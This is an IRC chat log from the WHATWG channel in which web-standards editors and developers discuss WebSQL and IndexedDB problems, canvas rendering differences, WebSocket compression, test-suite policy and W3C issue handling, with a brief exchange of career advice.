[14:50:00.0000] <mathrick>
so you have to try each possible combination of versions until one works

[14:52:00.0000] <Hixie>
mathrick: yeah, the .rows being sync and the changeVersion() API sucking are known bugs. That spec is dead though so I doubt anything will happen to fix those problems.

[14:53:00.0000] <mathrick>
*sigh*

[14:55:00.0000] <mathrick>
Hixie: so we have WebSQL, which is a huge pain to use, and broken in many places, and will never be supported by Mozilla, and IndexedDB, which is similarly broken but doesn't give a useful query language

[14:55:01.0000] <TabAtkins>
For the broken parts, comment on it!

[14:55:02.0000] <mathrick>
proposed specs should not have glaring bugs apparent on the first reading ever :(

[14:55:03.0000] <TabAtkins>
it = IndexedDB.

[14:55:04.0000] <mathrick>
TabAtkins: the draft at W3C doesn't have a nice comment box like the whatwg documents do

[14:55:05.0000] <mathrick>
but in a nutshell, it's race conditions waiting to happen

[14:56:00.0000] <TabAtkins>
No, but it has a mailing list.

[14:56:01.0000] <mathrick>
"Every method for making asynchronous requests returns an IDBRequest object that communicates back to the requesting application through events." <-- here be race conditions

[14:57:00.0000] <Hixie>
mathrick: yes. Not much I can do about either though. If you want Web SQL DB resurrected, convince Mozilla and Microsoft to implement it (I'll spec the SQL profile if necessary). If you want IndexedDB to not suck, send comments on it, it's a work in progress.

[14:57:01.0000] <mathrick>
http://www.w3.org/TR/IndexedDB/#idl-def-IDBRequest <-- No method for providing error handlers upon creation, and no method to read if it's finished with an error or not

[14:57:02.0000] <Hixie>
IRC is not a good place to send feedback

[14:57:03.0000] <TabAtkins>
mathrick: I'm not an editor of that spec, nor is Hixie.  Email the list.

[14:57:04.0000] <Hixie>
it's especially not a good place for IndexedDB since none of the IndexedDB editors are here :-)

[14:59:00.0000] <mathrick>
yeah, I'm just being disheartened by the piles of brokenness I encounter every time I try to use the newer APIs

[15:15:00.0000] <jgraham>
http://reprog.wordpress.com/2010/09/05/bibliographic-data-part-3-has-anyone-anywhere-ever-read-the-whole-of-the-rda-specification/ Never let anyone tell you that HTML5 is too long, ever again

[15:17:00.0000] <paul_irish>
oh my.

[15:17:01.0000] <karlcow>
"As best I can tell, the current total is about 1640 pages — so if you printed it out on standard 80 gsm paper, it would be 17 cm thick (nearly 7 inches) and weigh something over 8 kg (18 pounds)."

[15:18:00.0000] <karlcow>
it is still less than the changelog of Irak article on wikipedia ;) http://booktwo.org/notebook/wikipedia-historiography/

[15:18:01.0000] <AryehGregor>
Is there really no way to tell Bugzilla not to notify everyone when you make mass changes like renaming a component?

[15:19:00.0000] <jgraham>
Well it is a bit unfair to compare full history against a single snapshot

[15:20:00.0000] <Hixie>
complete.html is about 500-600 pages, but that doesn't include things like SVG, CSS, MathML, HTTP, etc, which really should be part of the same spec IMHO, if we're going to spec The Platform

[15:21:00.0000] <Hixie>
what are the 1640 pages speccing?

[15:21:01.0000] <Hixie>
the blog post wasn't clear about that

[15:21:02.0000] <jgraham>
http://www.rdatoolkit.org/home

[15:22:00.0000] <karlcow>
http://www.rdatoolkit.org/constituencyreview

[15:24:00.0000] <karlcow>
from what I can see it is also using a large font. This kind of stats would be better counting words more than pages. Still it is a lot

[15:24:01.0000] <karlcow>
they use extensive prose to describe each feature

[15:25:00.0000] <karlcow>
example: 2.3.1.1 

[15:25:01.0000] <karlcow>
A title is a word, phrase, character, or group of characters that

[15:25:02.0000] <karlcow>
names a resource or a work contained in it.

[15:25:03.0000] <karlcow>
More than one title may appear in the resource itself (e.g., on a title page, title frame, etc.; as a caption title, running title, etc.; on a cover, spine, etc.; on a title bar, etc.), on a jacket, sleeve, container, etc., or in material accompanying the resource.

[15:26:00.0000] <karlcow>
they have also a *lot* of examples

[16:51:00.0000] <Hixie>
Philip`: yt?


2010-10-05
[17:02:00.0000] <Philip`>
Hixie: y

[17:02:01.0000] <Hixie>
i commented on the drawImage scaling bug

[17:02:02.0000] <Hixie>
the issue is going way over my head

[17:06:00.0000] <Philip`>
"they all look identical to me" - do you see e.g. a faint white line around the blue background, in the first large images in the attachment in Firefox?

[17:06:01.0000] <Philip`>
(and not in other browsers)

[17:10:00.0000] <Hixie>
nothing that i wouldn't chalk up to quality of implementation issues

[17:10:01.0000] <Hixie>
no, no faint anything

[17:11:00.0000] <Philip`>
/me doesn't know how platform-dependent it is

[17:11:01.0000] <Hixie>
chrome has very slight artefacting going diagonally down the second one

[17:12:00.0000] <Hixie>
resulting in six little minor blips

[17:12:01.0000] <Hixie>
but again, nothing more than i'd consider a quality-of-implementation issue

[17:14:00.0000] <Philip`>
"quality" implies that there's some agreement on the ideal behaviour, and a higher-quality implementation is one that's closer to that

[17:15:00.0000] <Philip`>
but (except for Chrome seeming buggy) I don't think any of the browsers seem better or worse quality, they're just different

[17:15:01.0000] <Philip`>
and it's not clear what behaviour they ought to be trying to converge on

[17:16:00.0000] <Philip`>
and the differences are significant enough to affect authors who want their content to look consistent

[17:18:00.0000] <Hixie>
so i gathered :-)

[17:18:01.0000] <Hixie>
i'm not saying we shouldn't fix this, just that the examples all looked the same to me - which isn't really important insofar as fixing the bug goes

[17:22:00.0000] <Philip`>
http://philip.html5.org/misc/filter.png is what I get from the 4th big panels in http://www.w3.org/Bugs/Public/attachment.cgi?id=915

[17:22:01.0000] <Philip`>
using oldish browser versions

[17:23:00.0000] <Hixie>
my gecko trunk looks identical to your mozilla

[17:23:01.0000] <Hixie>
s/mozilla/firefox/

[17:23:02.0000] <Hixie>
er

[17:23:03.0000] <Hixie>
ignore everythin i just said

[17:23:04.0000] <Hixie>
my gecko trunk looks identical to your _opera_

[17:24:00.0000] <Philip`>
What platform?

[17:25:00.0000] <Philip`>
Hmm, how do I find out the version of a new Minefield?

[17:25:01.0000] <Philip`>
It seems to be missing from the About page :-(

[17:26:00.0000] <Hixie>
mac

[17:26:01.0000] <Hixie>
i don't have access to windows currently

[17:29:00.0000] <Philip`>
An auto-updated-just-now-but-who-knows-what-version-ID Minefield on Linux gives the same as my "Firefox" image (from 3.6.8 on Linux), and matches vlad's description of Firefox

[17:35:00.0000] <heycam>
Philip`, about: shows it

[17:37:00.0000] <Philip`>
heycam: Ah, thanks

[17:37:01.0000] <Philip`>
"about:" seems like a slightly bizarre URL

[17:37:02.0000] <heycam>
ooh about:about

[17:38:00.0000] <Hixie>
i love how bot in firefox and chrome some of the links on about:about are 404

[17:39:00.0000] <Hixie>
heycam: btw i reassigned a bug about 'octet' to the WebIDL component earlier today

[17:39:01.0000] <TabAtkins>
he's already responded, hixie.

[17:39:02.0000] <Hixie>
awesome

[17:39:03.0000] <Hixie>
heycam: did i hear correctly that you were getting back into the game?

[17:39:04.0000] <heycam>
i clicked the about:memory link it crashed :/

[17:39:05.0000] <heycam>
Hixie, yep, as of yesterday!

[17:39:06.0000] <Hixie>
woohoo!

[17:39:07.0000] <Hixie>
fantastic

[17:41:00.0000] <heycam>
i'll be spending most of this work doing webidl stuff

[17:41:01.0000] <Hixie>
heycam: where are you gonna be based? and what are you mainly working on?

[17:41:02.0000] <heycam>
i'm in the auckland moz office

[17:41:03.0000] <heycam>
not sure what i'll be mainly working on yet, tbd

[17:42:00.0000] <Hixie>
k

[17:42:01.0000] <heycam>
brb lunch

[18:04:00.0000] <cying>
is it possible to dynamically add a stylesheet to a DOM and add an event listener to listen for when the stylesheet has loaded?

[18:10:00.0000] <paul_irish>
cying: there isnt a clean way of doing that

[18:10:01.0000] <cying>
paul_irish: dohhh

[18:11:00.0000] <paul_irish>
most people add a #someuniquethinghere { color: red; } and poll getComputedStyle or whathaveyou to see when it changes

[18:13:00.0000] <paul_irish>
TabAtkins: in flex the reason box-flex defaults to 0 is so each element essentially has to opt-in to the flexibility of its box, right?

[18:14:00.0000] <cying>
paul_irish: :(

[18:14:01.0000] <paul_irish>
i know man. i know.

[18:15:00.0000] <TabAtkins>
paul_irish: Yeah.  It seems like that's a better default.

[18:16:00.0000] <paul_irish>
TabAtkins: it does. also all demos ive seen have the flexible elements be immediate children of their container box.. is that a requirement?

[18:16:01.0000] <TabAtkins>
Yes.

[18:17:00.0000] <paul_irish>
thx

[18:17:01.0000] <Denicked>
Hi.

[18:17:02.0000] <TabAtkins>
The flexbox spec only concerns the rendering of the flexbox itself and its immediate children.  Any further descendants are covered by the layout model of the child hosting it.

[18:20:00.0000] <Hixie>
cying: iirc the spec says <link rel=stylesheet onload='' ...> should work

[18:20:01.0000] <Hixie>
cying: dunno how widely that's supported though

[18:26:00.0000] <cying>
Hixie: sadly, it is not implemented in webkit

[18:36:00.0000] <ap>
Hixie: should a document be associated with an appcache if it was redirected? Say, I open foobar.php (which is does not have an entry in appcache) in a new browser window, and it redirects to foobar.html (which does)

[18:37:00.0000] <ap>
Hixie: I'd say yes, but both Safari and Firefox say no - is there a reason in HTML5 for that?

[18:39:00.0000] <Denicked>
Is there an offtopic whatwg chan like how there is #notmath and ##c++-social ?

[18:40:00.0000] <TabAtkins>
#whatwg is the off-topic #whatwg channel.

[18:40:01.0000] <Denicked>
haha riight

[18:40:02.0000] <Denicked>
I need advice on motivation

[18:41:00.0000] <Denicked>
This is my final semester to complete my bachelor of science in computer science

[18:41:01.0000] <Denicked>
I have an internship, and I hate my job. I think I don't enjoy computers anymore.

[18:41:02.0000] <Denicked>
I feel like it's too established too

[18:41:03.0000] <Denicked>
the pioneering aspect of it isn't what it used to be

[18:42:00.0000] <TabAtkins>
Do webapps instead.

[18:42:01.0000] <Denicked>
what kind of webapps?

[18:42:02.0000] <Denicked>
at my internship I do CRM stuff

[18:42:03.0000] <TabAtkins>
Just in general.  There's a lot going on to inspire a pioneering spirit.

[18:43:00.0000] <Denicked>
At my internship I'm learning this web management system called SugarCRM. I h8 it 

[18:44:00.0000] <TabAtkins>
Yeah, CRM is usually going to be disgusting enterprise-y stuff.

[18:44:01.0000] <Denicked>
What makes you say "disgusting" ?

[18:45:00.0000] <Denicked>
It's just boring. I don't get any satisfaction out of it. I don't think I'm making the world a better place or contributing positively to society. The boss just tries to sucker people. He gives me full projects and has me going through anxiety attacks because I have to learn and do the project by set deadlines. It's not fair to me nor the client.

[18:49:00.0000] <TabAtkins>
BigThen do something else?

[18:50:00.0000] <Denicked>
I was thinking of going to lawschool

[18:55:00.0000] <Denicked>
TabAtkins what do you do for a living

[18:56:00.0000] <Hixie>
bummer, missed ap

[18:56:01.0000] <Denicked>
What's that? I don't quite follow you Hixie

[18:56:02.0000] <Hixie>
ap asked me a question above, but he quit before i could answer

[18:56:03.0000] <Denicked>
Oh interesting.

[18:57:00.0000] <Denicked>
well not quite, but I'm just making conversation hehe

[18:57:01.0000] <Hixie>
i wonder if the chairs are planning on making any decisions with all these polls we've taken

[18:57:02.0000] <Denicked>
Hixie what do you do for a living

[18:58:00.0000] <Hixie>
i write the html5 spec

[18:58:01.0000] <Hixie>
well, html spec

[18:58:02.0000] <Denicked>
for a living!?

[18:58:03.0000] <Hixie>
yeah, sweet huh?

[18:58:04.0000] <Denicked>
Yes sir

[18:59:00.0000] <Denicked>
To be part of the team that sets the standards for html, you have to be the top of your field

[19:01:00.0000] <Hixie>
actually it turns out that all i had to do was do it

[19:01:01.0000] <Hixie>
nobody checked that i was top of anything

[19:01:02.0000] <Hixie>
it's just that nobody else was doing it

[19:01:03.0000] <Hixie>
so...

[19:02:00.0000] <Philip`>
You had to get dozens of other people to believe in what you were doing, too

[19:03:00.0000] <Philip`>
(which doesn't require being the top, but it does generally require being sufficiently adequate)

[19:03:01.0000] <Hixie>
i guess

[19:04:00.0000] <heycam>
HTML5: It's sufficiently adequate

[19:05:00.0000] <TabAtkins>
Denicked: Sorry, was away for a bit.

[19:06:00.0000] <TabAtkins>
I write CSS specs, and work on the Chrome team.

[19:06:01.0000] <TabAtkins>
And give developer talks and stuff, sometimes.

[19:06:02.0000] <TabAtkins>
Before that, though, I was a web developer for a small software company, which was very fulfilling.

[19:06:03.0000] <TabAtkins>
(Google just offered to pay me a bunch more money.)

[19:14:00.0000] <Hixie>
TabAtkins: working on css specs isn't fulfilling? :-P

[19:15:00.0000] <TabAtkins>
That wasn't a statement about the relative merit of my jobs.  ^_^  Both my current and previous job are and were awesome.

[19:17:00.0000] <Denicked>
TabAtkins what can I do to reach your level 

[19:17:01.0000] <Denicked>
and Hixie's level

[19:17:02.0000] <TabAtkins>
If you want to work on standards?  Start working on standards.  ^_^  Get on mailing lists and become a useful contributor.  Standards are run like an open-source project (at least, the good ones are).

[19:18:00.0000] <TabAtkins>
If you want to do more fulfilling comp sci work?  Get a job with a smaller company.  That doesnt' guarantee non-asshole bosses, but if you get a good boss, I think being in a smaller environment with relatively more responsibilities is a lot of fun.

[19:19:00.0000] <Denicked>
I'm 24 making 12 dollars an hour while zuckerberg was a billionaire at like 22

[19:19:01.0000] <TabAtkins>
And?

[19:19:02.0000] <Denicked>
TabAtkins the company I'm with is 6 people.

[19:20:00.0000] <TabAtkins>
Then get a better company.

[19:20:01.0000] <Denicked>
The boss walks around with a shirt that says on the front "I see stupid people"

[19:20:02.0000] <TabAtkins>
"I work with assholes" isn't a good reason to quit your field.  It's a good reason to quit your company.

[19:21:00.0000] <Denicked>
good point

[19:22:00.0000] <Denicked>
TabAtkins you say And? I say and I feel poor while other people have the money and girls :-P

[19:23:00.0000] <TabAtkins>
I said "And?" because you were comparing yourself to Zuckerberg.  He's an extreme outlier.

[19:23:01.0000] <TabAtkins>
*I'm* an outlier - I got lucky with several of my life choices, and had a good wife who made some good decisions for me.

[19:24:00.0000] <TabAtkins>
But you can definitely do better for yourself.  Just jump out and try.

[19:24:01.0000] <TabAtkins>
If you're young and single, it's hard to starve.  You can live remarkably cheaply.

[19:24:02.0000] <Denicked>
I think it's psychological. When you have a lot of bad luck or bad decisions it starts to have a psychological impact

[19:25:00.0000] <TabAtkins>
Agreed.  So you have to recognize the source consciously, so you can work around it.

[19:25:01.0000] <TabAtkins>
s/had a good wife/have a good wife/

[19:30:00.0000] <Denicked>
TabAtkins do you live in cali?

[19:31:00.0000] <TabAtkins>
Yeah, now I do.  (I was in Texas before Google hired me.)

[19:31:01.0000] <Denicked>
My cousin works for google too.

[19:31:02.0000] <TabAtkins>
I'm out for the night, though.  See you later.

[19:31:03.0000] <Denicked>
Bye

[19:33:00.0000] <TabAtkins>
My conclusion, dude, is that you don't need advice.  You already know what the problem is.  Make sure you consciously admit that.  And thus, you know what your next steps can be.  Do so.  That's all you need.

[19:33:01.0000] <Denicked>
That's actually the best advice I've ever gotten. 

[20:11:00.0000] <heycam>
shepazu, ping

[20:11:01.0000] <dgouldin>
I'm not seeing html5 audio/video events bubbling up the dom ... anybody have an idea why that might be?

[20:47:00.0000] <karlcow>
http://tools.ietf.org/html/rfc6068

[20:47:01.0000] <karlcow>
mailto URI scheme

[23:25:00.0000] <itissid>
hi was full text search carried over to webstorage api for sqlite?

[23:25:01.0000] <itissid>
From google gears that is..

[23:26:00.0000] <itissid>
aka fts3

[01:17:00.0000] <zcorpan>
Hixie: here's a patch for the issues graph, the month labels are becoming unreadable

[01:17:01.0000] <zcorpan>
 var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];

[01:27:00.0000] <hsivonen>
what's the address of the graph?

[01:28:00.0000] <zcorpan>
http://www.whatwg.org/issues/data.html

[01:28:01.0000] <hsivonen>
thanks

[01:29:00.0000] <hsivonen>
/me wishes it were SVG instead of <canvas>

[01:29:01.0000] <hsivonen>
it looks fuzzy with my zoom level

[02:12:00.0000] <hsivonen>
Did Opera change pragma no-cache as a meta handling in the standards mode in 10.62 relative to 10.60?

[02:13:00.0000] <annevk>
assigning to readonly values does not throw a TypeError, right?

[02:13:01.0000] <annevk>
hsivonen, probably not

[02:14:00.0000] <jgraham>
No, unless you are in strict mode, maybe

[02:14:01.0000] <jgraham>
Actually that's an interesting point

[02:14:02.0000] <hsivonen>
Am I going crazy? my notes say Opera 10.61 didn't honor pragma no-cache as a meta in the standards mode--only in the quirks mode

[02:14:03.0000] <hsivonen>
now I see 10.62 honoring it in both modes

[02:24:00.0000] <hsivonen>
OK. my previous testing of 10.61 was wrong

[02:24:01.0000] <hsivonen>
(or Opera had differences between operating systems, which is unlikely)

[02:39:00.0000] <annevk>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=10977 -- some properties are directly on the object right? such as onclick et al?

[02:46:00.0000] <zcorpan>
why don't we have a policy to only accept automated tests for the html5 testsuite?

[02:49:00.0000] <jgraham>
zcorpan: We do, sort of

[02:49:01.0000] <jgraham>
Or at least everyone agreed apart, possibly, from Microsoft

[02:50:00.0000] <zcorpan>
and microsoft is submitting non-automated tests

[02:50:01.0000] <jgraham>
Well as long as everyone else agrees not to accept them, there is no problem

[02:51:00.0000] <annevk>
they're pretty shitty tests too

[02:51:01.0000] <zcorpan>
there's a problem if people are wasting time reviewing non-automated tests

[02:51:02.0000] <annevk>
don't they see this themselves?

[02:52:00.0000] <annevk>
it's kind of worrisome

[02:52:01.0000] <annevk>
and similar to the crappy CSS 2.1 situation

[02:52:02.0000] <annevk>
zcorpan, right

[03:43:00.0000] <hsivonen>
why is MS writing non-automated tests in the first place? do they have an army of people running tests manually on every code change?

[03:44:00.0000] <jgraham>
I believe they have a screenshot-based system

[03:44:01.0000] <micheil>
hsivonen: well, naturally, right, how else would you do it?

[03:44:02.0000] <micheil>
:P

[03:44:03.0000] <jgraham>
I guess they have an army of people to deal with the scaling issues of such a system

[03:45:00.0000] <jgraham>
(like marking tens of thousands of screenshots as pass/fail because the font rendering changed slightly)

[03:50:00.0000] <micheil>
hmm.. anyone know why people wanted compression on websockets?

[03:51:00.0000] <micheil>
or frame level meta-data?

[03:51:01.0000] <jgraham>
annevk: I always get very confused about where DOM properties live on the prototype chain. It seems to be rather browser dependent.

[03:51:02.0000] <jgraham>
micheil: I assume people wanted compression in order to transfer less data

[03:52:00.0000] <jgraham>
micheil: The frame-level metadata stuff I didn't get at all

[03:52:01.0000] <micheil>
jgraham: was that without any prior look into how people were and are using the protocol?

[03:52:02.0000] <jgraham>
Was what?

[03:53:00.0000] <micheil>
well, I'm guessing the average message size for most applications would be < 1024bytes

[03:53:01.0000] <micheil>
or 1 Kb.

[03:53:02.0000] <micheil>
you wouldn't surely save anything by compressing 1 Kb.

[03:53:03.0000] <jgraham>
That seems like a big assumption

[03:53:04.0000] <micheil>
jgraham: my examples from which I draw that assumption are things like socket.io

[03:54:00.0000] <micheil>
where the most of applications are things like games, chats, etc.

[03:54:01.0000] <micheil>
I so far don't know of one example in development or production where people are sending large data over websockets

[03:54:02.0000] <jgraham>
It seems dangerous to draw conclusions about how the protocol will be used in the future based on how it is used before it is in any production browsers

[03:55:00.0000] <jgraham>
Well Chrome I guess

[03:55:01.0000] <jgraham>
/me is discounting Safari 5 for being too old

[03:55:02.0000] <micheil>
Chrome, Chromium, Safari

[03:55:03.0000] <micheil>
Safari 5.02 is draft 76.

[03:55:04.0000] <jgraham>
Oh, nice

[03:55:05.0000] <micheil>
Firefox 4 is draft 76.

[03:55:06.0000] <jgraham>
So -75 is dead

[03:55:07.0000] <micheil>
http://github.com/miksago/node-websocket-server/wiki/Browser-Support

[03:55:08.0000] <jgraham>
Anyway, it is hardly mainstream

[03:56:00.0000] <micheil>
pretty much

[03:56:01.0000] <jgraham>
Get back to me when youtube are using websockets for video-related stuff

[03:56:02.0000] <jgraham>
for example

[03:57:00.0000] <micheil>
well, I know a few startups are using it at core level of their applications.

[03:57:01.0000] <micheil>
youtube is old in all.

[03:57:02.0000] <jgraham>
anyway, I agree that compression is not really a v1 feature

[03:57:03.0000] <micheil>
I think compression should be end-developer level.

[03:57:04.0000] <jgraham>
Youtube was an example of something mainstream that involves transporting lots of data

[03:57:05.0000] <micheil>
if you're exceeding average tcp-frame sizes, then I think you'll have other problems

[03:58:00.0000] <jgraham>
Why?

[03:58:01.0000] <micheil>
also, as for video, shouldn't you be using already existing transports; eg, RTSP

[03:58:02.0000] <micheil>
well, you're going to probably break the parsers in browsers.

[03:58:03.0000] <micheil>
or in the servers.

[03:58:04.0000] <jgraham>
Well that would be a bug

[03:58:05.0000] <micheil>
true

[03:59:00.0000] <jgraham>
I mean you don't hear people say "web documents have to be small because browsers might have buggy network stacks"

[03:59:01.0000] <micheil>
true

[03:59:02.0000] <jgraham>
No readon websockets is anay different

[03:59:03.0000] <jgraham>
*reason

[03:59:04.0000] <micheil>
but either way, you're going to probably increase latency

[04:00:00.0000] <jgraham>
Right, there might be good reasons to favour packets of a certian size

[04:00:01.0000] <jgraham>
None of this means that compression isn't a good idea

[04:00:02.0000] <micheil>
anyway. I'm going to try some tests with large and small packets to see if browsers will actually join messages into one tcp packet or split

[04:00:03.0000] <jgraham>
also, people have been talking about stream-level compression

[04:00:04.0000] <jgraham>
rather than per-message compression

[04:00:05.0000] <micheil>
I still think it's something that the end developer should do.

[04:01:00.0000] <jgraham>
Which would mean the packet size wouldn't matter

[04:01:01.0000] <micheil>
stream level compression?

[04:01:02.0000] <jgraham>
It seems insane to have to implement gzip in each protocol

[04:01:03.0000] <jgraham>
And also in javascript

[04:01:04.0000] <jgraham>
When browsers already have it built in

[04:02:00.0000] <micheil>
I'm just trying to work out the fastest way to parse messages.

[04:02:01.0000] <micheil>
because I'm finding that's a bottleneck in my server.

[04:03:00.0000] <micheil>
for instance, if my server receives say, 2 Mb's of data (multiple frames/messages)

[04:03:01.0000] <micheil>
then it actually has to read every byte in that 2 Mb's just to figure out where to emit out a new client to the end-developer

[04:03:02.0000] <micheil>
* emit out a new message to the end developer

[04:05:00.0000] <jgraham>
Hope that the length-framed version gets traction :)

[04:06:00.0000] <jgraham>
(right about now you might want to start getting annoyed at IETF for being slow)

[04:10:00.0000] <micheil>
jgraham: I gave up trying to keep up with the mailing list banter about 4 months ago,

[04:16:00.0000] <jgraham>
At the moment, the tl;dr is 1) People: we should make the handshake like x. 2) Adam / Maciej: That seems weak against cross-protocol attacks since all the security properties depend on assumption y. 3) GOTO 1

[04:17:00.0000] <jgraham>
(well there are a few more steps inside the loop where people discuss whether it is sufficient to have security that depends only on y

[04:17:01.0000] <jgraham>
)

[04:50:00.0000] <hsivonen>
sigh. JF reopened the DRM bug. :-(

[04:55:00.0000] <annevk>
I don't see it on http://lists.w3.org/Archives/Public/public-html-bugzilla/2010Oct/ ?

[04:55:01.0000] <annevk>
I guess Mike forgot to turn email back on like he said he thought he would?

[04:58:00.0000] <Lachy>
hsivonen, which is the DRM bug?

[04:59:00.0000] <zcorpan>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=10902

[05:10:00.0000] <annevk>
whoa

[05:10:01.0000] <annevk>
1600 messages

[05:10:02.0000] <annevk>
just noticed that

[05:13:00.0000] <annevk>
I always forget

[05:13:01.0000] <annevk>
is it "to dispatch a HTTP ... event" or "to dispatch an HTTP ... event"?

[05:13:02.0000] <Philip`>
"an"

[05:13:03.0000] <Philip`>
Other people may disagree but they are wrong

[05:13:04.0000] <annevk>
great

[05:17:00.0000] <zcorpan>
Philip`: those that pronounce "HTTP" as "huttup"?

[05:18:00.0000] <Philip`>
I was thinking of people who say "haitch"

[05:26:00.0000] <hsivonen>
bah. silly me. I used a local hg rev number in a commit message like a n00b who thinks he is using svn. :-(

[06:56:00.0000] <hsivonen>
uh oh. another batch of "pre-LC1" email coming in

[06:57:00.0000] <Philip`>
/me notes the lack of optimism in naming it "LC1" instead of "LC"

[06:59:00.0000] <annevk>
MikeSmith, maybe next time give a heads up about these administrative changes that flood the inboxes?

[06:59:01.0000] <MikeSmith>
which mailing list?

[07:00:00.0000] <MikeSmith>
I thought I had mail turned off

[07:00:01.0000] <annevk>
everyone who is cc'd still gets email

[07:01:00.0000] <MikeSmith>
ah

[07:01:01.0000] <MikeSmith>
sorry

[07:02:00.0000] <MikeSmith>
fwiw, I think I have them all done now

[07:03:00.0000] <annevk>
k

[07:04:00.0000] <MikeSmith>
annevk: we don't need to set up a separate component for the HTML5-HTML4 differences doc, right?

[07:07:00.0000] <annevk>
rather not, no

[07:07:01.0000] <annevk>
also, I don't think it should go to LC

[07:08:00.0000] <MikeSmith>
ok

[07:08:01.0000] <hsivonen>
have the Chairs given any indication of a schedule for Decisions on ISSUEs that have had polls?

[07:08:02.0000] <hsivonen>
one would think it's a no-brainer to evaluate which proposal drew the weaker objections at http://www.w3.org/2002/09/wbs/40318/issues-4-84-objection-poll/results

[07:09:00.0000] <hsivonen>
yet, it's been over 2 months without a Decision

[07:16:00.0000] <Workshiva>
Maybe they're saving the easy ones for last

[08:47:00.0000] <mathrick>
Hixie: not that you can really do anything about it at this point, but amusingly Chromium/Webkit sort of deadlocks if you call executeSql from inside a statement callback, which is the only way to execute a query based on the results of a previous one

[08:48:00.0000] <paul_irish>
mathrick: that might be worth filing a webkit ticket for.

[08:48:01.0000] <mathrick>
I think the proliferation of callbacks in Web APIs has got out of control, and certain things are simply impossible if all you have are callback-based APIs

[08:49:00.0000] <mathrick>
paul_irish: yes, I'm reducing it to the minimal testcase now

[08:49:01.0000] <paul_irish>
:)

[08:50:00.0000] <mathrick>
still, any API that could possibly ever be called from an event listener should have a sync version, or else things go wrong

[08:50:01.0000] <jgraham>
mathrick: Any suggestions for good API patterns that handle the requirement to be async without callbacks and with current js language features?

[08:51:00.0000] <jgraham>
"it should be sync" doesn't really work if sync calls can block the browser for an arbitary amount of time

[08:52:00.0000] <jgraham>
(Opera handles this unusually well, but still)

[08:52:01.0000] <mathrick>
sure, but there's openDatabaseSync already, so that argument doesn't really fly in the specific case of webSQL

[08:52:02.0000] <jgraham>
That's only for workers

[08:52:03.0000] <jgraham>
Isn't it?

[08:53:00.0000] <mathrick>
oh, it doesn't really say it in the spec that I've noticed

[08:53:01.0000] <mathrick>
/me rereads

[08:53:02.0000] <mathrick>
jgraham: but transactions are already run async

[08:54:00.0000] <grantg>
Does anyone know if chrome 6 supports the file api?

[08:54:01.0000] <annevk>
I wrote http://dev.w3.org/2006/webapi/progress/ today

[08:54:02.0000] <mathrick>
so if you add another level of executeSql working async, it becomes quite unmanageable

[08:54:03.0000] <grantg>
I know 7 does.

[08:54:04.0000] <annevk>
feedback welcome before I post to public-webapps

[08:54:05.0000] <annevk>
/me needs to do some shopping first

[08:55:00.0000] <mathrick>
jgraham: ah, right, WorkerUtilsDatabase

[08:56:00.0000] <grantg>
Can anyone figure out how to make webworkers work with graphics bound to the CPU core.

[08:56:01.0000] <grantg>
I tried that with the gbc emu, but it made performance slower, since the framebuffer was being passed back to the UI.

[08:57:00.0000] <mathrick>
jgraham: one way to alleviate it a bit would be to introduce checkpoints / barriers that could be inserted optionally and would essentially put the caller to sleep until the results are available

[08:58:00.0000] <grantg>
WebWorks seem to also block any onmessage event inside the worker when it's running (Feature?).

[08:58:01.0000] <jgraham>
mathrick: That would be a language feature,no?

[08:58:02.0000] <mathrick>
so transaction.barrier() would make sure all transaction steps queued until now have been performed

[08:58:03.0000] <grantg>
*WebWorkers

[08:58:04.0000] <jgraham>
co-routines?

[08:58:05.0000] <mathrick>
jgraham: it doesn't really need to be exposed in the language

[08:58:06.0000] <jgraham>
Well it doesn't work if you want to get data back, does it?

[08:59:00.0000] <jgraham>
It sounds like

[08:59:01.0000] <jgraham>
foo = (yield something)

[08:59:02.0000] <mathrick>
it would if your callback stuffed the result in a known location, which is not hard to do with closures, which JS thankfully does have

[08:59:03.0000] <jgraham>
in python

[08:59:04.0000] <mathrick>
ah, you're looking at it from the other side

[09:00:00.0000] <mathrick>
I mean more like this:

[09:00:01.0000] <karlcow>
Very early alpha state pure JavaScript implementation of the RDFa API draft spec released -- http://lists.w3.org/Archives/Public/public-rdfa-wg/2010Oct/0029

[09:01:00.0000] <mathrick>
function myTransaction(tx) { var result; tx.executeSql("...",[], function(tx, r) { result = r }); tx.checkpoint(); alert(result) }

[09:07:00.0000] <mathrick>
jgraham: related is http://chumsley.org/jwacs/

[09:07:01.0000] <mathrick>
which is a dialect with continuations that transforms to regular JS

[09:08:00.0000] <mathrick>
though I don't believe you can actually use it to fix things like "can't use any async APIs from inside an event listener"

[09:12:00.0000] <jgraham>
Anyone know what ES5-strict-mode-enabled browsers do when setting a readonly IDL property?

[09:12:01.0000] <jgraham>
per the current letter of WebIDL they should not throw since it is ignorant of strict mode, but per the spirit of Strict Mode they should throw

[09:42:00.0000] <annevk>
no feedback? lame

[09:45:00.0000] <Philip`>
annevk: You forgot all the semicolons in the example code

[09:47:00.0000] <annevk>
wontfix :)

[10:18:00.0000] <matjas>
https://bugzilla.mozilla.org/show_bug.cgi?id=591981 made me wonder, where in the HTML5 spec does it state that the execute-in-insertion-order for DOM inserted <script>s SHOULD NOT be enforced

[10:21:00.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/complete.html#running-a-script

[10:22:00.0000] <annevk>
hairy

[10:22:01.0000] <annevk>
Hixie, took over Progress Events

[10:22:02.0000] <annevk>
Hixie, http://dev.w3.org/2006/webapi/progress/

[10:22:03.0000] <Hixie>
cool

[10:24:00.0000] <annevk>
I was reminded once again that because of SVG 1.2 Tiny it has the most suckiest interface members

[10:24:01.0000] <annevk>
made me sad

[10:25:00.0000] <Hixie>
oh?

[10:25:01.0000] <annevk>
lengthComputable, loaded, total...

[10:26:00.0000] <annevk>
hasMax, value, max, or some such would've been nicer

[10:26:01.0000] <Hixie>
*shrug*

[10:27:00.0000] <annevk>
I guess

[10:43:00.0000] <annevk>
I should probably add the reference to SVG back in, I actually forgot it came from there while writing

[10:43:01.0000] <annevk>
so not "back in" but "in"

[10:57:00.0000] <annevk>
damn it, http://lists.w3.org/Archives/Public/public-html-bugzilla/2010Oct/ is still not getting any email

[10:58:00.0000] <annevk>
and it's way too late in Tokyo to fix that now

[10:58:01.0000] <micheil>
hmm?

[10:58:02.0000] <micheil>
it's only 4am AEST

[10:58:03.0000] <micheil>
